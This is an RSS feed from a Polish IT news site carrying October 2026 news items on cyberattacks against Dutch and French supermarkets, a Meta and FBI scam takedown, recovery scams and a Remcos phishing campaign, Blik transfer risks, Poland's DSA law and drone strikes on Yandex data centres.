<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Aktualności</title>
<link>http://www.mv-it.pl</link>
<description><![CDATA[http://www.mv-it.pl]]></description><item>
			<title><![CDATA[ Cyberatak na sieć supermarketów w Holandii. Hakerzy uderzyli m.in. z serwerów w Polsce ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1793</link>
			<description><![CDATA[ Serwery znajdujand#261;ce siand#281; m.in. w Polsce wykorzystano podczas cyberataku na najwiand#281;kszand#261; holenderskand#261; sieand#263; supermarketand#243;w Albert Heijn and#8211; poinformowaand#322; we wtorek nadawca publiczny NOS. Hakerzy korzystali rand#243;wnieand#380; z infrastruktury serwerowej w USA, Moand#322;dawii i Turcji. Nie ustalono dotand#261;d, skand#261;d pochodzand#261; sprawcy.
and#160;





fot. Fotogrin / /and#160;Shutterstock  


Jak ustaliand#322; NOS, powoand#322;ujand#261;c siand#281; na anonimowe and#378;rand#243;dand#322;a z branand#380;y cyberbezpieczeand#324;stwa, przestand#281;pcyand#160; wykorzystali serwery znajdujand#261;ce siand#281; w czterech paand#324;stwach, w tym w Polsce. Podejrzany ruch sieciowy zostaand#322; wykryty przez specjalistand#243;w Albert Heijn, ktand#243;rzy zdecydowali o prewencyjnym wyand#322;and#261;czeniu czand#281;and#347;ci systemand#243;w informatycznych.
and#160;
Nie wiadomo, do kogo naleand#380;and#261; serwery zlokalizowane w Polsce, gdzie dokand#322;adnie siand#281; znajdujand#261; ani jakand#261; roland#281; odegraand#322;y w ataku. Nie ujawniono rand#243;wnieand#380; ich adresand#243;w IP. NOS podkreand#347;la, and#380;e wykorzystanie infrastruktury na terytorium danego paand#324;stwa nie oznacza, and#380;e wand#322;aand#347;nie stamtand#261;d dziaand#322;ali cyberprzestand#281;pcy. Ruch internetowy moand#380;na bowiem przekierowywaand#263; przez serwery w innych krajach.
Ekspert ds. cyberbezpieczeand#324;stwa Pim Takkenberg oceniand#322; w rozmowie z NOS, and#380;e holenderska sieand#263; najwyraand#378;niej zidentyfikowaand#322;a infrastrukturand#281; wykorzystywanand#261; przez hakerand#243;w do penetracji systemand#243;w przedsiand#281;biorstwa lub przygotowania kradzieand#380;y danych.
Albert Heijn przekazaand#322; informacje o wykrytych serwerach innym firmom, aby umoand#380;liwiand#263; im zabezpieczenie wand#322;asnych systemand#243;w.
Wedand#322;ug NOS and#347;ledztwo wskazuje rand#243;wnieand#380; na moand#380;liwe wykorzystanie infrastruktury amerykaand#324;skiego oddziaand#322;u koncernu Ahold Delhaize. Nie potwierdzono jednak, czy zostaand#322;a ona wczeand#347;niej przejand#281;ta przez napastnikand#243;w.
Incydent, trwajand#261;cy od niedzieli, doprowadziand#322; do powaand#380;nych zakand#322;and#243;ceand#324; w funkcjonowaniu sieci. Niedostand#281;pne staand#322;y siand#281; strony internetowe i aplikacje, wstrzymano dostawy zakupand#243;w internetowych, a czand#281;and#347;and#263; centrand#243;w dystrybucyjnych przerwaand#322;a pracand#281;. W sklepach pojawiand#322;y siand#281; puste pand#243;and#322;ki.
We wtorek koncern Ahold Delhaize poinformowaand#322; o rozpoczand#281;ciu stopniowego przywracania systemand#243;w. Wedand#322;ug przedsiand#281;biorstwa dotychczas nie stwierdzono oznak kradzieand#380;y danych klientand#243;w ani pracownikand#243;w. and#346;ledztwo trwa.

and#160;

and#378;rodand#322;o PAP 13 paand#378;dziernik 2026and#160; Patryk Kulpok (PAP) ]]></description>
		</item><item>
			<title><![CDATA[ Seria ataków we Francji. Chłodnie w 700 marketach przestały działać ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1792</link>
			<description><![CDATA[ Francuski dziennikand#160;and#8222;Le Mondeand#8221; poinformowaand#322;and#160;we wtorek, and#380;e po cyberataku, ktand#243;rego obiektem byand#322;y instalacje chand#322;odnicze w supermarketach we Francji kierowane przez system duand#324;skiej firmy Danfoss, celem podobnej operacji -and#160;w nocy z poniedziaand#322;ku z wtorek -and#160;staand#322;y siand#281; rand#243;wnieand#380; placand#243;wki wyposaand#380;one w sprzand#281;t innej firmy - Dixell.
and#160;





fot. Picto Std / /and#160;Shutterstock  


and#8222;Le Mondeand#8221; podaand#322;, and#380;e w supermarkecie w regionie Bordeaux specjaliand#347;ci wezwani w nocy z poniedziaand#322;ku na wtorek zdoand#322;ali odeprzeand#263; cyberatak, ktand#243;ry miaand#322; mniejszand#261; skaland#281; niand#380; pierwszaand#160;operacja.
Agencja Reutera ze swej strony przekazaand#322;a, and#380;e cyberatak dotknand#261;and#322; systemy Copeland i Dixell, natomiast sand#322;uand#380;by prasowe firmy Copeland, ktand#243;ra jest wand#322;aand#347;cicielem marki Dixell, odmand#243;wiand#322;y potwierdzenia tej informacji.
and#346;ledczy nadal poszukujand#261; sprawcand#243;w, ktand#243;rzy w nocy z niedzieli na poniedziaand#322;ek przejand#281;li kontroland#281; nad instalacjamiand#160;chand#322;odniczymi w kilkuset supermarketach.
Dotand#261;d nikt nie przyznaand#322; siand#281; do ataku, co stanowi zagadkand#281;, gdyand#380; zwykle takie grupy albo prand#243;bujand#261; uzyskaand#263; korzyand#347;ci finansowe, albo przyznajand#261; siand#281; do atakand#243;w w celach politycznych - podaand#322; Reuters, powoand#322;ujand#261;c siand#281; na and#378;rand#243;dand#322;o zaznajomione ze and#347;ledztwem.
Reuters powoand#322;uje siand#281; rand#243;wnieand#380; na trzech ekspertand#243;w, ktand#243;rych zdaniem atak byand#322; and#322;atwy do przeprowadzenia.and#160;Jego sprawcy zmienili ustawienia temperatury w lodand#243;wkach w sieciach supermarketand#243;w, takich jakand#160;Carrefour, Monoprix, Intermarche iand#160;Cooperative U.and#160;
W instalacjach stosowano oprogramowanie duand#324;skiej firmy Danfoss. Oand#347;wiadczyand#322;a ona, and#380;e wiele z nich osiand#261;gnand#281;and#322;o koniec cyklu uand#380;ytkowania i ich oprogramowanie nie byand#322;o juand#380; aktualizowane, band#261;dand#378; teand#380; dziaand#322;aand#322;y one z przestarzaand#322;ym oprogramowaniem. Firma poinformowaand#322;a takand#380;e, and#380;e radziand#322;a klientom aktualizowanie systemand#243;w.
and#160;

Minister gospodarki: Cyberatak przeciw instalacjom chand#322;odniczym dotknand#261;and#322; 700 supermarketand#243;w

Minister gospodarki Francji Roland Lescure powiedziaand#322; we wtorek w parlamencie, and#380;e okoand#322;o 700 supermarketand#243;w w kraju zostaand#322;o dotkniand#281;tych cyberatakiem wymierzonym w instalacje chand#322;odnicze. We Francji jest okoand#322;o 10 tysiand#281;cy supermarketand#243;w.
Minister podkreand#347;liand#322;, and#380;e nie ma ryzyka dla dostaw and#380;ywnoand#347;ci, ale przyznaand#322;, and#380;e cyberatak and#8222;dotyka sedna bezpieczeand#324;stwa and#380;ywnoand#347;ciowegoand#8221; Francji. Nazwaand#322; go takand#380;e and#8222;sygnaand#322;em alarmowym dla wszystkichand#8221;.
and#160;
and#160;
and#378;rodand#322;o PAP 13 paand#378;dziernik 2026 awl/ mal/ ]]></description>
		</item><item>
			<title><![CDATA[ Wielka operacja FBI i Mety. Usunięto 3,7 mln kont oszustów z Facebooka i Instagrama ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1791</link>
			<description><![CDATA[ Meta usunand#281;and#322;a z Facebooka i Instagrama ponad 3,7 miliona kont, stron i grup, ktand#243;rych twand#243;rcy wyand#322;udzali and#347;rodki od uand#380;ytkownikand#243;wand#160;m.in. zand#160;USA,and#160;Wielkiej Brytanii iand#160;Polski - podaand#322; we wtorek gigant cyfrowy.and#160;To efekt operacji prowadzonej z udziaand#322;em FBI przeciwko oszustom dziaand#322;ajand#261;cym z Nigerii i Ghany.
and#160;





fot. testing / /and#160;Shutterstock


and#160;
Jak podaand#322;o biuro prasowe Mety, firma usunand#281;and#322;a z Facebooka i Instagrama ponad 3,7 miliona kont, stron i grup, ktand#243;rych twand#243;rcy prowadzili internetowe oszustwa finansowe gand#322;and#243;wnie z terenand#243;w Nigerii i Ghany. Wiand#281;kszoand#347;and#263; oszustw skierowana byand#322;a skierowana przeciwko osobom w USA i Wielkiej Brytanii i byand#322;a prowadzona przy uand#380;yciu profili podszywajand#261;cych siand#281; pod amerykaand#324;skich i brytyjskich uand#380;ytkownikand#243;w. Przestand#281;pcy kierowali swoje dziaand#322;ania rand#243;wnieand#380; m.in. przeciwko uand#380;ytkownikom w Polsce, Niemczech, Hiszpanii i Turcji.
and#160;
Meta podaand#322;a, and#380;e usuniand#281;cie materiaand#322;and#243;w z mediand#243;w spoand#322;ecznoand#347;ciowych, to elementand#160;akcji prowadzonej we wspand#243;and#322;pracy zand#160;Departamentem Sprawiedliwoand#347;ci Stanand#243;w Zjednoczonych, FBI, ze sand#322;uand#380;bami z Ghany i Nigerii oraz partnerami z USA, Wielkiej Brytanii, Australii, Kanady, Nowej Zelandii i Indii.and#160;W akcjand#281; zaangaand#380;owanychand#160;byand#322;oand#160;teand#380; 14and#160;firmand#160;technologicznych, w tym Google, Microsoft, OpenAI, Coinbase i Starlink.and#160;
and#160;
Celem operacji, prowadzonej od 6 paand#378;dziernika br.,and#160;byand#322;oand#160;rozbicie przestand#281;pczych sieci oszustw z siedziband#261; w Afryce Zachodniej, a w jej wyniku aresztowano 28 osand#243;b. Jak wskazaand#322;a Meta, wand#160;ramach akcjiand#160;and#322;and#261;czono dane wywiadowcze z rand#243;and#380;nych platform, jurysdykcji i systemand#243;w finansowych, aby uderzyand#263; w sieci przestand#281;pcze w wielu punktach and#322;aand#324;cucha oszustw.

Trop prowadzand#261;cy do ponad 30 centrand#243;w oszustw zostaand#322; przekazany organom and#347;cigania. 117 ofiar zostaand#322;o uratowanych z terenu mieszkalnego w Ghanie, gdzie byand#322;y one przetrzymywane i zmuszane do pracy przy oszustwach and#8211; niedoand#380;ywione oraz poddawane przemocy fizycznej i psychicznej. Ich oprawcy zostali aresztowani i odpowiedzand#261; za swoje dziaand#322;ania przed sand#261;dem - poinformowaand#322;o biuro prasowe Mety w komunikacie prasowym.

Ze wpisu na blogu Mety wynika, and#380;e oszustwa inwestycyjne opieraand#322;y siand#281; na schemacie, w ramach ktand#243;rego przestand#281;pcy budowali faand#322;szywe relacje romantyczne lub zawodowe, by nastand#281;pnie nakand#322;oniand#263; ofiary do udziaand#322;u w nieuczciwych przedsiand#281;wziand#281;ciach inwestycyjnych, w tym dotyczand#261;cych kryptowalut.
Rozbiteand#160;grupyand#160;prowadziand#322;yand#160;teand#380; oszustwa zwiand#261;zane z ofertami pracy lub zleceniami. Wand#160;tym schemacieand#160;przestand#281;pcy proponowaliand#160;fikcyjne zatrudnienie lub zlecenia online, aby nakand#322;oniand#263; ofiary do uiszczenia opand#322;at wstand#281;pnych lub przelania pieniand#281;dzy.and#160;
and#160;
Czeand#347;and#263; przestand#281;pcand#243;wand#160;podszywaand#322;o siand#281;and#160;pod policjantand#243;w,and#160;urzand#281;dnikand#243;w paand#324;stwowych i wojskowych. Grupyand#160;praktykowaand#322;yand#160;teand#380; oszustwa,and#160;w ramach ktand#243;rych rzekomi sprzedawcy przyjmowaliand#160;zapand#322;atand#281; za towary lub usand#322;ugi, ktand#243;re nigdy nie zostaand#322;yand#160;dostarczone.and#160;
Akcja byand#322;a ponadto wymierzona wand#160;oszustwa polegajand#261;ce na oferowaniu pomocy w odzyskaniu and#347;rodkand#243;w utraconych w wyniku wczeand#347;niejszego oszustwa. W tym schemacie ofiary byand#322;yand#160;wabione obietnicand#261; zwrotu pieniand#281;dzy w zamian za opand#322;atand#281; wstand#281;pnand#261;, po czym zostaand#322;yand#160;ponownie oszukane.
and#8222;Dziand#281;ki znakomitej wspand#243;and#322;pracy z Departamentem Sprawiedliwoand#347;ci oraz sektorem prywatnym w wielu krajach Afryki aresztowaliand#347;my dziesiand#261;tki przestand#281;pcand#243;w, przejand#281;liand#347;my setki urzand#261;dzeand#324;, zidentyfikowaliand#347;my and#347;rodki o wartoand#347;ci co najmniej 11 milionand#243;w dolarand#243;w kwalifikujand#261;ce siand#281; do zamroand#380;enia i and#8211; co najwaand#380;niejsze and#8211; uratowaliand#347;my ludzkie and#380;ycie. Tak wand#322;aand#347;nie wygland#261;dajand#261; skutki precyzyjnych dziaand#322;aand#324; podejmowanych przez organy and#347;cigania w ramach wspand#243;and#322;pracy miand#281;dzyinstytucjonalnej. Likwidujemy na caand#322;ym and#347;wiecie centra zajmujand#261;ce siand#281; oszustwami i rozbijamy przestand#281;pczy proceder and#380;erujand#261;cy na obywatelach USAand#8221; - powiedziaand#322;, cytowany na blogu Mety, dyrektor FBI Kash Patel.and#160;
and#160;
and#378;rodand#322;o PAP 13 paand#378;dziernik 2026 mbl/ drag/ ]]></description>
		</item><item>
			<title><![CDATA[ Ochrona przed błędnymi przelewami Blik w ogniu krytyki ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1790</link>
			<description><![CDATA[ Przelew Blik na telefon moand#380;e trafiand#263; w niewand#322;aand#347;ciwe rand#281;ce. Wystarczy, and#380;e numer telefonu powiand#261;zany z kontem zmieni wand#322;aand#347;ciciela. Zmiana w prawie telekomunikacyjnym ma zaand#322;ataand#263; lukand#281;, ale nie podoba siand#281; telekomom.
and#160;





fot. Midnight Studio TH / /and#160;Shutterstock  


Operatorzy komand#243;rkowi stosujand#261; praktykand#281; nazywanand#261; and#8222;recyklingiem numerand#243;wand#8221;. Ponownie udostand#281;pniajand#261; klientom numery, z ktand#243;rych przez pewien czas nikt nie korzystaand#322;. Dzieje siand#281; tak na przykand#322;ad po rozwiand#261;zaniu umowy przez abonenta. W efekcie nowy klient moand#380;e otrzymaand#263; numer uand#380;ywany wczeand#347;niej przez innand#261; osoband#281;. Taki mechanizm moand#380;e mieand#263; jednak bardzo dotkliwy skutek uboczny dla uand#380;ytkownikand#243;w Blika.
W 2024 r. opisaliand#347;my na and#322;amach Bankier.pl przypadek jednej z czytelniczek, ktand#243;ra wysand#322;aand#322;a pieniand#261;dze do cand#243;rki za pomocand#261; przelewu na numer telefonu. Numer wpisaand#322;a bez band#322;and#281;du. Okazaand#322;o siand#281; jednak, and#380;e zostaand#322; on powiand#261;zany z rachunkiem bankowym przez poprzedniego wand#322;aand#347;ciciela. A ten nie chciaand#322; oddaand#263; pieniand#281;dzy.

W czerwcu 2026 r. do Sejmu trafiand#322; poselski projekt zmian w ustawie prawo telekomunikacyjne. Ma on na celu zaand#322;atanie wspomnianej luki. Przewiduje, and#380;e firmy telekomunikacyjne band#281;dand#261; mieand#263; obowiand#261;zek udostand#281;pniaand#263;, na and#380;yczenie dostawcand#243;w usand#322;ug pand#322;atniczych, zestawienia numerand#243;w przeznaczonych do and#8222;recyklinguand#8221;. Czyli takich, ktand#243;re po rozwiand#261;zaniu umowy mogand#261; zostaand#263; przydzielone innemu abonentowi.




and#160;




Jak pisze and#8222;Dziennik Gazeta Prawnaand#8221;, proponowane rozwiand#261;zanie jest krytykowane zarand#243;wno przez ekspertand#243;w, jak i operatorand#243;w telekomunikacyjnych. Wskazujand#261; oni, and#380;e to instytucje finansowe zdecydowaand#322;y siand#281; uand#380;yand#263; jako identyfikatora w usand#322;udze numeru telefonu, ktand#243;ry z natury jest zmienny. Z kolei idea przekazywania numerand#243;w przeznaczonych do ponownego wykorzystania na and#380;and#261;danie jest chybiona. Proces powinien byand#263; zautomatyzowany, a lista udostand#281;pniana np. poprzez specjalne API.
Cytowany przez gazetand#281; przedstawiciel T-Mobile wskazuje, and#380;e zmiana moand#380;e nastand#261;piand#263; nie tylko przez rozwiand#261;zanie umowy, ale takand#380;e np. przez cesjand#281; umowy lub chociaand#380;by cesjand#281; numeru sand#322;uand#380;bowego innemu pracownikowi. Problem ma and#378;rand#243;dand#322;a w instytucjach finansowych, tymczasem nowe obowiand#261;zki obciand#261;and#380;aand#263; band#281;dand#261; dodatkowymi kosztami telekomy.
and#160;
and#378;rodand#322;o Bankier.pl 13 paand#378;dziernik 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Weto Nawrockiego nie zatrzymało rządu. Wraca ustawa o blokowaniu treści w sieci ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1789</link>
			<description><![CDATA[ To jest ustawa chroniand#261;ca uand#380;ytkownika, ktand#243;ra w and#380;adnym stopniu nie ogranicza wolnoand#347;ci sand#322;owa - powiedziaand#322; we wtorek wicepremier, minister cyfryzacji Krzysztof Gawkowski, przedstawiajand#261;c przed senackimi komisjami gand#322;and#243;wne zaand#322;oand#380;enia ustawy pozwalajand#261;cej na blokowanie w internecie nielegalnych treand#347;ci.
and#160;





fot. Zbyszek Kaczmarek / /and#160;FORUM  


W Senacie trwa wspand#243;lneand#160;posiedzenieand#160;komisji: kultury i and#347;rodkand#243;w przekazu orazand#160;infrastruktury. Zajmujand#261; siand#281; one uchwalonand#261; w ub. tygodniu przez Sejm ustawand#261;and#160;o and#347;wiadczeniu usand#322;ug drogand#261; elektronicznand#261; oraz niektand#243;rych innych ustaw. To regulacja, ktand#243;ra pozwala na blokowanie nielegalnych treand#347;ci w internecie, implementujand#261;caand#160;unijne rozporzand#261;dzenie DSA.
and#160;
Mand#243;wiand#261;c o przygotowanej przez Ministerstwo Cyfryzacji nowelizacjiand#160;ustawy o and#347;wiadczeniu usand#322;ug drogand#261; elektronicznand#261; oraz niektand#243;rych innych ustaw, ktand#243;ra wdraand#380;a w Polsce Akt o usand#322;ugach cyfrowych (DSA), -and#160;wicepremier podkreand#347;liand#322;, and#380;e jest to kolejna regulacja tego typu - pierwsza zostaand#322;a zawetowana przez prezydenta Karola Nawrockiego, ktand#243;ryand#160;uznaand#322; jej przepisy za formand#281; administracyjnej cenzury i naruszenie wolnoand#347;ci sand#322;owa.
and#160;
Gawkowski podkreand#347;liand#322;, and#380;e byand#322;o to weto nieusprawiedliwione, a proponowane przepisy nie wprowadzajand#261; cenzury, tylko realnand#261; ochronand#281; uand#380;ytkownikand#243;w.

- Te wolnoand#347;ci sand#261; wzmacniane. Czand#322;owiek w internecie ma prawo do takiegoand#160;samego traktowania, jak czand#322;owiek, ktand#243;ry w realnym and#380;yciu funkcjonuje i w jakiand#347; sposand#243;b chce, and#380;eby jego prawa byand#322;y szanowane - powiedziaand#322;.

Dodaand#322;, and#380;e kluczowand#261; kwestiand#261; jestand#160;kontrolaand#160;sand#261;dowa nad wykonaniem nakazu usuniand#281;cia nielegalnych treand#347;ci.

Wyjaand#347;niand#322;, and#380;e wedle proponowanych przepisand#243;w katalog tych treand#347;ci zawiera m.in.and#160;oszustwa internetowe, kradzieand#380; toand#380;samoand#347;ci, handel ludand#378;mi,and#160;propagowanie ustrojand#243;w totalitarnych, sprzedaand#380; podrand#243;bek oraz nielegalny handel towarami.
Blokowane w sposand#243;b natychmiastowy majand#261; byand#263; natomiast treand#347;ci dot. m.in. prezentowania maand#322;oletniemu treand#347;ci pornograficznych, nawiand#261;zywania kontaktu z maand#322;oletnim oraz propagowania lub pochwalania zachowania o charakterze pedofilskim.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 12 paand#378;dziernik 2026 ksc/ akar/ ]]></description>
		</item><item>
			<title><![CDATA[ Oszuści wracają do swoich ofiar. Jako „prawnicy” obiecują odzyskać pieniądze ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1788</link>
			<description><![CDATA[ Kto raz daand#322; siand#281; oszukaand#263;, dla przestand#281;pcand#243;w jest cennym kontaktem. Wiedzand#261;, and#380;e straciand#322; pieniand#261;dze i bardzo chce je odzyskaand#263;. Na tym opiera siand#281; oszustwo and#8222;na odzyskanie and#347;rodkand#243;wand#8221;, przed ktand#243;rym ostrzegajand#261; policja i nadzand#243;r finansowy.
and#160;





fot. photofriday / /and#160;Pexels


and#160;
Przestand#281;pcy szukajand#261; ludzi, ktand#243;rzy juand#380; stracili pieniand#261;dze, najczand#281;and#347;ciej na faand#322;szywych inwestycjach. Dzwoniand#261; do nich sami albo wykupujand#261; w internecie reklamy usand#322;ug and#8222;odzyskiwania and#347;rodkand#243;wand#8221;, pod ktand#243;rymi wystarczy zostawiand#263; numer telefonu. Potem odzywa siand#281; kancelaria, doradca albo przedstawiciel instytucji, ktand#243;ra rzekomo wspand#243;and#322;pracuje z organami and#347;cigania. Sand#261; dokumenty, sand#261; powaand#380;nie brzmiand#261;ce nazwy.



and#160;




W ktand#243;rymand#347; momencie trzeba jednak zapand#322;aciand#263;, choand#263;by za and#8222;rozpoczand#281;cie proceduryand#8221;. Bywa teand#380;, and#380;e rozmand#243;wca prosi o dane do bankowoand#347;ci albo kaand#380;e wziand#261;and#263; kredyt. Na ten schemat (w branand#380;y nazywany recovery scamem) zwrand#243;ciand#322;y uwagand#281; 8 paand#378;dziernika policja i Zwiand#261;zek Bankand#243;w Polskich, otwierajand#261;c nowand#261; edycjand#281; kampanii and#8222;Bankowcy dla CyberEdukacjiand#8221;. Przypominajand#261;, and#380;e znajomoand#347;and#263; szczegand#243;and#322;and#243;w pierwszego oszustwa niczego nie dowodzi. Po drugiej stronie mogand#261; byand#263; ci sami ludzie, ktand#243;rzy ukradli pieniand#261;dze za pierwszym razem.




and#160;




and#160;and#8222;Interpoland#8221; w reklamie, and#8222;adwokatand#8221; na komunikatorze
Jak to wygland#261;da w praktyce, pokazuje sprawa opisana pod koniec sierpnia przez mazowieckand#261; policjand#281;. and#160;72-letnia kobieta w marcu straciand#322;a w wyniku oszustwa 94 tys. zand#322;. Policjanci, ktand#243;rzy przyjmowali zawiadomienie, tand#322;umaczyli jej, jak dziaand#322;ajand#261; oszuand#347;ci i jakich danych nie wolno nikomu podawaand#263;.
W poand#322;owie lipca zobaczyand#322;a w mediach spoand#322;ecznoand#347;ciowych reklamand#281; podpisanand#261; nazwand#261; and#8222;Interpoland#8221;, obiecujand#261;cand#261; pomoc w odzyskaniu pieniand#281;dzy. Zostawiand#322;a numer telefonu. Nie minand#281;and#322;a godzina, a ktoand#347; zadzwoniand#322;. Rozmand#243;wca zapewniand#322; jand#261;, and#380;e pieniand#261;dze wrand#243;cand#261;, w dodatku z odszkodowaniem. Sprawand#281; przejand#261;and#322; and#8222;adwokatand#8221;, ktand#243;ry pisaand#322; do niej przez komunikator i zapowiadaand#322; internetowand#261; rozprawand#281;.
Kobieta przesand#322;aand#322;a mu zdjand#281;cie dowodu osobistego i karty pand#322;atniczej, dane dostand#281;powe do rachunkand#243;w oraz hasand#322;o do poczty. Na jego polecenie zainstalowaand#322;a aplikacjand#281; i wziand#281;and#322;a kredyt na 49,9 tys. zand#322;. Zakand#322;adaand#322;a teand#380; konta w kolejnych bankach.
Gdy prand#243;bowaand#322;a zrobiand#263; przelew w jednym z nich, pracownicy nabrali podejrzeand#324; i wezwali policjand#281;. Kobieta zrezygnowaand#322;a z transakcji w banku. Pand#243;and#378;niej okazaand#322;o siand#281;, and#380;e poszand#322;a na pocztand#281; i stamtand#261;d przelaand#322;a pieniand#261;dze na rachunek wskazany przez oszusta.
Prawdand#281; zobaczyand#322;a dopiero w raporcie o swojej historii kredytowej. Na jej dane zaciand#261;gniand#281;to kredyty gotand#243;wkowe i chwiland#243;wki, a na rachunku pojawiand#322;y siand#281; transakcje zwiand#261;zane m.in. z Amsterdamem i Belgiand#261;. Za drugim razem straciand#322;a 92,5 tys. zand#322;. Razem z pierwszym oszustwem to 186,5 tys. zand#322;.
and#160;
Przerobione nagranie wiceszefa KNF
30 wrzeand#347;nia przed tym samym schematem ostrzegand#322; [Urzand#261;d Komisji Nadzoru Finansowego. Przestand#281;pcy przerobili nagranie zastand#281;pcy przewodniczand#261;cego KNF z jednej z konferencji. W sfabrykowanym filmie and#8222;opowiadaand#8221; on o wspand#243;and#322;pracy urzand#281;du z Interpolem i Komendand#261; Gand#322;and#243;wnand#261; Policji przy odzyskiwaniu pieniand#281;dzy ofiar faand#322;szywych inwestycji. Oszuand#347;ci dorobili do tego nieistniejand#261;cy dziaand#322; monitoringu finansowego w UKNF i procedurand#281;, w ktand#243;rej kaand#380;dy poszkodowany dostaje indywidualny kod referencyjny.
Kontakty zbierajand#261; przez faand#322;szywe artykuand#322;y i formularze. Potem dzwoniand#261; i namawiajand#261; do wpand#322;aty. UKNF odpowiada krand#243;tko: nie prowadzi takich dziaand#322;aand#324;, a informacje z filmu i reklam sand#261; nieprawdziwe.
and#160;
Zapytanie ofertowe od kontrahenta. W Excelu czeka Remcos
To nie jedyny nowy scam. 6 paand#378;dziernika CERT Polska ostrzegand#322; firmy przed kampaniand#261; faand#322;szywych zapytaand#324; ofertowych. Do wiadomoand#347;ci doand#322;and#261;czony jest plik .xls, ktand#243;ry zamiast szczegand#243;and#322;and#243;w zamand#243;wienia instaluje Remcos. To narzand#281;dzie do zdalnego przejand#281;cia kontroli nad komputerem. Atakujand#261;cy moand#380;e rejestrowaand#263; wciskane klawisze i przechwytywaand#263; obraz ekranu, a takand#380;e dostaand#263; siand#281; do kamery i mikrofonu.
Wedand#322;ug CERT Orange Polska czand#281;and#347;and#263; wiadomoand#347;ci wychodziand#322;a z przejand#281;tych skrzynek prawdziwych firm. Zdarzaand#322;o siand#281;, and#380;e trafiaand#322;y do faktycznych kontrahentand#243;w nadawcy. Adres siand#281; zgadzaand#322;, korespondencja wygland#261;daand#322;a znajomo, wiand#281;c zaand#322;and#261;cznik nie budziand#322; podejrzeand#324;.
Jeand#380;eli firma obiecuje odzyskanie pieniand#281;dzy, ale wczeand#347;niej and#380;and#261;da opand#322;aty, dostand#281;pu do rachunku albo zaciand#261;gniand#281;cia kredytu, kontakt trzeba przerwaand#263;. Z kolei przy nietypowym zaand#322;and#261;czniku lepiej potwierdziand#263; jego wysand#322;anie telefonicznie, korzystajand#261;c z numeru znanego z wczeand#347;niejszej korespondencji albo znalezionego niezaleand#380;nie. Gdy w grand#281; wchodzand#261; nasze pieniand#261;dze, naleand#380;y kierowaand#263; siand#281; zasadand#261; ograniczonego zaufania.
and#160;
and#378;rodand#322;o Bankier.pl and#160;13 paand#378;dziernik 2026and#160;








and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Ruch botów spadł niemal do zera. Ukraina uderzyła w rosyjskie centra danych ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1787</link>
			<description><![CDATA[ Ukraiand#324;skie ataki na centra Yandex w Rosji zakand#322;and#243;ciand#322;y dziaand#322;anie ponad 80 platform usand#322;ugowych and#8211; podaand#322; w poniedziaand#322;ek ukraiand#324;ski portal Mezha Media. W opinii Richarda Lawlera z serwisu technologicznego The Vergeand#160;ograniczyand#322;o to automatyczny ruch botand#243;w, ale nie sparaliand#380;owaand#322;o rosyjskichand#160;farmand#160;trolli.
and#160;





fot. Anastasia Barashkova / /and#160; Reuters / Forum  


Seria trzech ukraiand#324;skich atakand#243;w dronand#243;w na rosyjskie centra danych Yandex zakand#322;and#243;ciand#322;a dziaand#322;anie platform logistycznych i handlowych, w tym aplikacji bankowych i przewozowych and#8211; poinformowaand#322; niezaleand#380;ny ukraiand#324;ski serwis technologiczny Mezha Media.
Uderzenia te wpand#322;ynand#281;and#322;y na zautomatyzowany ruch sieciowy. Wedand#322;ug danych firmy Cloudflare, amerykaand#324;skiej korporacji w dziedzinie bezpieczeand#324;stwa internatowego i wydajnoand#347;ci sieci, aktywnoand#347;and#263; botand#243;w tzw. crawlerand#243;w, czyli programand#243;w indeksujand#261;cych strony czy obsand#322;ugujand#261;cych klientand#243;w spadand#322;a w sieci Yandex blisko poziomu zerowego.
Jak podaand#322; portal technologiczny Tom's Hardware, powoand#322;ujand#261;c siand#281; na analizy Cloudflare, spadek ten nastand#281;powaand#322; etapami po kolejnych ukraiand#324;skich atakach na obiekty firmy Yandex. Pierwszy z nich z 8 paand#378;dziernika, wymierzony w centrum danych w Sasowieand#160;w obwodzie riazaand#324;skim, zmniejszyand#322; ruch botand#243;w-crawlerand#243;w z tej sieci do 57 proc. maksymalnego poziomu. Kolejne uderzenie z 9 paand#378;dziernika objand#281;and#322;o kompleks w obwodzie kaand#322;uskim. Po niedzielnym nalocie na obiekt w obwodzie wand#322;odzimierskim ruch obniand#380;yand#322; siand#281; do 0,4 proc. najwyand#380;szego poziomu odnotowanego w ciand#261;gu poprzednich dwand#243;ch tygodni.
Ekspert ds. technologii w portalu The Verge Richard Lawlerand#160;zauwaand#380;yand#322; w poniedziaand#322;ek, and#380;e wykresy przedstawiajand#261;ce spadek ruchu botand#243;w opublikowane przez Cloudflare and#8222;nie majand#261; zwiand#261;zku z botami publikujand#261;cymi w mediach spoand#322;ecznoand#347;ciowychand#8221;, lecz and#8222;z zautomatyzowanymi robotami sieciowymi obsand#322;ugiwanymi przez Yandex, ktand#243;re dziaand#322;ajand#261; w sieciand#8221;. Lawler w swej opinii powoand#322;aand#322; siand#281; na komentarz na kanale X opublikowany przez kolektyw Antibot4Navalny, ktand#243;ry and#347;ledzi i ujawnia powiand#261;zane z Rosjand#261; operacje wpand#322;ywu i farmy trolli na platformach spoand#322;ecznoand#347;ciowych.
W tym samym czasie na portalach spoand#322;ecznoand#347;ciowych zaczand#261;and#322; krand#261;and#380;yand#263; inny wykres majand#261;cy przedstawiaand#263; rzekomy nagand#322;y spadek aktywnoand#347;ci w sieci. W komentarzachand#160;grafikand#281; te poand#322;and#261;czono z ograniczeniem ruchu botand#243;w oraz kont powiand#261;zanych z rosyjskim koncernem Yandex. Publikowany obraz nie zawiera jednak and#380;adnych informacji o and#378;rand#243;dle danych. Brakuje takand#380;e precyzyjnego wyjaand#347;nienia, co dokand#322;adnie mierzy oand#347; zdefiniowana jako and#8222;aktywnoand#347;and#263;and#8221;.
